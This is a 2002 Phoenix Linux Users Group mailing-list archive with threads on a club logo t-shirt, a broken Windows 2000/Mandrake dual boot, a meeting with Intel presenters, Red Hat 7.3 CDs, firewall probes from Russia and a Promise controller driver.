From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:34:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 11:34:30 -0700 Subject: Just to set the record straight Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B48A@mail.int.fh.org> > --5 June 2002 Microsoft Admits Contribution to Think Tank That > Published Anti Open-Source Paper > Microsoft admits that it provides funding to the Alexis de Tocqueville > Institution, the think tank that recently released a white paper that > maintains open source software is not secure and that government > should instead use proprietary software. The Institution will not > comment on specific funding for the report. > http://www.wired.com/news/business/0,1367,52973,00.html > [Editor's (Paller) Note: Last year, the same think tank published a > paper extolling the benefits of Microsoft's certification programs.] > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 19:07:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 12:07:59 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121207.59399.zen2now@qwest.net> On Wednesday 12 June 2002 09:58 am, slr wrote: oh my, i thought you guys may have already done this and had some laying around. so now i have a mission, i will let you guys know what i come up with. but the image is a gif, so i am off to the graphics department to see if they can help us. slr > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 19:34:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 12:34:22 -0700 Subject: Plug logo In-Reply-To: References: Message-ID: <02061212342215.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks for the png of the plug logo. I replaced all the plug gifs on the Install Fest web site with the png versions. I will use it whenever I can now. Btw, how did you open the gif to convert it? GIMP wouldnt open it for me either. On Wednesday 12 June 2002 10:58, you wrote: > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeiPisk3ywszI1FEQJB3ACeKYtOUPSJyX0G90K21a3ZdJzznzUAni+a j0Zm3MHWbj8iXsieflIbY5tp =+u6q -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:53:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 12 Jun 2002 14:53:03 -0400 (EDT) Subject: Plug logo In-Reply-To: <02061212342215.08309@nova.wedge.org> Message-ID: On Wed, 12 Jun 2002, Jim wrote: > Btw, how did you open the gif to convert it? GIMP wouldnt open it for me > either. When I need to do this I just take a screenshot of mozilla. Kind of brute force, but it works. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:16:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 12 Jun 2002 13:16:50 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. In-Reply-To: Message-ID: Thanks for the help. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 7:15 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I'm trying to use the update installation to Mandrake 8.2 to fix the problem; it's uncooporative. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 3:34 PM To: PLUG Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Wed, 12 Jun 2002 13:18:13 -0700 Subject: Thursday Meeting? References: Message-ID: <3D07AC85.35466B3B@pop.phnx.uswest.net> Alan, are they going to mosey out West too? Steve alandd@mindspring.com wrote: > > I am sorry that the web site is out of date. > > YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. > > They will be bringing stuff to giveaway too! I hope you can be there. > > Alan > > On Wed, 12 Jun 2002 10:19:57 -0700 Logan Kennelly wrote: > > Being new to the PLUG, I don't know how things work. The website claims > that there is no planned topic of discussion. Will there still be a > meeting? > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:28:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:28:39 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> Message-ID: <200206121328.39640.zen2now@qwest.net> On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: thats a great idea, but what would we do with the money? we could buy beer!!! :~D slr > If someone can get them made, we could use the "For Sale" site Kimi has on > unitywave.com to sell/distribute them. > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Wednesday, June 12, 2002 10:59 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > > The other option is CafePress.com. The product probably wont look as nice > and you wont raise as much money, but there is no out of pocket cost. > > The way it works is you upload your images and design your product online > at no cost. Then it creates a virtual store. Then you can buy products > and a portion of each sale comes back to you. > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > is an example.... I would whip up some for plug, but unfortunately the > image on the web site is... > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version please > fix the site to use the .png version) > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > broken) > > -Derek > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > Why .gif is bad ( http://burnallgifs.org/ ) > > On Wed, 12 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Great idea. All we need to do is get someone to get the logo ready for > > screening, find someone to make the tshirts, and someone to cover the > > cost of having them made. > > > > OTOH, if you have the connections, by all means investigate it and lets > > see if we can get it done ;) > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > good morning plug, > > > > > > hope this request doesnt offend anyone, but > > > i was wondering is there any way i could get my hands on a Plug Logo > > > T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > slr > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > kBumg9lr/hCgTiM+jPaCj8w/ > > =9O71 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:26:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:26:28 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121326.28646.zen2now@qwest.net> On Wednesday 12 June 2002 09:58 am, slr wrote: i spoke with one of the guys in the graphics dept. and hopefully by the end of the week i will have a vector image of the gif that is on the plug site. this new image should be easier to work. what do you guys think? slr > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:33:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 13:33:27 -0700 Subject: Plug logo Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> And pizza! -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Wednesday, June 12, 2002 1:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug logo On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: thats a great idea, but what would we do with the money? we could buy beer!!! :~D slr > If someone can get them made, we could use the "For Sale" site Kimi has on > unitywave.com to sell/distribute them. > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Wednesday, June 12, 2002 10:59 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > > The other option is CafePress.com. The product probably wont look as nice > and you wont raise as much money, but there is no out of pocket cost. > > The way it works is you upload your images and design your product online > at no cost. Then it creates a virtual store. Then you can buy products > and a portion of each sale comes back to you. > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > is an example.... I would whip up some for plug, but unfortunately the > image on the web site is... > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version please > fix the site to use the .png version) > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > broken) > > -Derek > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > Why .gif is bad ( http://burnallgifs.org/ ) > > On Wed, 12 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Great idea. All we need to do is get someone to get the logo ready for > > screening, find someone to make the tshirts, and someone to cover the > > cost of having them made. > > > > OTOH, if you have the connections, by all means investigate it and lets > > see if we can get it done ;) > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > good morning plug, > > > > > > hope this request doesnt offend anyone, but > > > i was wondering is there any way i could get my hands on a Plug Logo > > > T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > slr > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > kBumg9lr/hCgTiM+jPaCj8w/ > > =9O71 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:32:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 16:32:29 -0400 Subject: Thursday Meeting? Message-ID: I offered and asked them to do that but so far they have been completely non-commital about it. They all live in the east valley (near Intel, of course). At this point I assume they will not be coming that way. I will ask them again tomorrow. Alan On Wed, 12 Jun 2002 13:18:13 -0700 foodog wrote: Alan, are they going to mosey out West too? Steve alandd@mindspring.com wrote: > > I am sorry that the web site is out of date. > > YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. > > They will be bringing stuff to giveaway too! I hope you can be there. > > Alan From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 13:39:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Thu, 13 Jun 2002 13:39:49 +0000 Subject: code red virus? In-Reply-To: <3D06F5CB.84E0A50D@mindspring.com> References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <200206131339.49473.jon@unfm00.com> I had this happen to me too... I had over 500 hits from some guys IIS 5.0 server in just one day. So I found out who he was and called his house. The man sounded a little shocked I had his number. The computer went of line quickly. :) Jon On Wednesday 12 June 2002 07:18, User wrote: > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:53:36 -0700 Subject: Redhat 7.3 CDs In-Reply-To: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> References: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Message-ID: <200206121353.36846.zen2now@qwest.net> if you have bandwidth and a burner, i have all 3 valhalla-i386 iso's. you can email me off list and i will give you the info you'll need. slr On Tuesday 11 June 2002 01:23 pm, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop > was stolen and I need to rebuild an old laptop with 7.3 for a project I am > working on. > > I know the install fest is coming up (I had intended upgrading this old > machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to > install 7.1 from the CDs the install failed. I am hoping 7.3 will work > better. > > I live in Scottsdale if there is someone close by, but I am willing to > drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:00:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:00:02 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> Message-ID: <200206121400.02170.zen2now@qwest.net> Oh Goody!!!! On Wednesday 12 June 2002 01:33 pm, Tom Achtenberg wrote: > And pizza! > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Wednesday, June 12, 2002 1:29 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: > > thats a great idea, but what would we do with the money? > we could buy beer!!! :~D > > slr > > > If someone can get them made, we could use the "For Sale" site Kimi has > > on unitywave.com to sell/distribute them. > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Wednesday, June 12, 2002 10:59 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Plug logo > > > > > > > > The other option is CafePress.com. The product probably wont look as > > nice and you wont raise as much money, but there is no out of pocket > > cost. > > > > The way it works is you upload your images and design your product online > > at no cost. Then it creates a virtual store. Then you can buy products > > and a portion of each sale comes back to you. > > > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > > > is an example.... I would whip up some for plug, but unfortunately the > > image on the web site is... > > > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version > > please fix the site to use the .png version) > > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > > broken) > > > > -Derek > > > > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > > Why .gif is bad ( http://burnallgifs.org/ ) > > > > On Wed, 12 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Great idea. All we need to do is get someone to get the logo ready for > > > screening, find someone to make the tshirts, and someone to cover the > > > cost of having them made. > > > > > > OTOH, if you have the connections, by all means investigate it and lets > > > see if we can get it done ;) > > > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > > good morning plug, > > > > > > > > hope this request doesnt offend anyone, > > > > but i was wondering is there any way i could get my hands on a Plug > > > > Logo T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > > > slr > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > > kBumg9lr/hCgTiM+jPaCj8w/ > > > =9O71 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:00:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:00:02 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> Message-ID: <200206121400.02170.zen2now@qwest.net> Oh Goody!!!! On Wednesday 12 June 2002 01:33 pm, Tom Achtenberg wrote: > And pizza! > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Wednesday, June 12, 2002 1:29 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: > > thats a great idea, but what would we do with the money? > we could buy beer!!! :~D > > slr > > > If someone can get them made, we could use the "For Sale" site Kimi has > > on unitywave.com to sell/distribute them. > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Wednesday, June 12, 2002 10:59 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Plug logo > > > > > > > > The other option is CafePress.com. The product probably wont look as > > nice and you wont raise as much money, but there is no out of pocket > > cost. > > > > The way it works is you upload your images and design your product online > > at no cost. Then it creates a virtual store. Then you can buy products > > and a portion of each sale comes back to you. > > > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > > > is an example.... I would whip up some for plug, but unfortunately the > > image on the web site is... > > > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version > > please fix the site to use the .png version) > > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > > broken) > > > > -Derek > > > > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > > Why .gif is bad ( http://burnallgifs.org/ ) > > > > On Wed, 12 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Great idea. All we need to do is get someone to get the logo ready for > > > screening, find someone to make the tshirts, and someone to cover the > > > cost of having them made. > > > > > > OTOH, if you have the connections, by all means investigate it and lets > > > see if we can get it done ;) > > > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > > good morning plug, > > > > > > > > hope this request doesnt offend anyone, > > > > but i was wondering is there any way i could get my hands on a Plug > > > > Logo T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > > > slr > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > > kBumg9lr/hCgTiM+jPaCj8w/ > > > =9O71 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:18:36 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121418.36425.zen2now@qwest.net> ok i sent the png image to my graphic guy, we will refer to him from now on as "Austin" (the name has been changed to protect his innocence), and this was his response: this is the same .gif inside of a .png document... vector images are made of lines and math, keeping high quality no matter how large or small you resize the image. raster images are made of many many dots or pixels of only 257 different colors, so when you enlarge these images, they get choppy or "pixilated" so he is more than happy to donate some of his time to this long overdue project. YEAH!!!! slr On Wednesday 12 June 2002 09:58 am, slr wrote: > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:33:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 12 Jun 2002 14:33:49 -0700 Subject: Promise Ultra 133 tx2 Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error ft.o: init_module: Operation not permitted So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. If anybody has 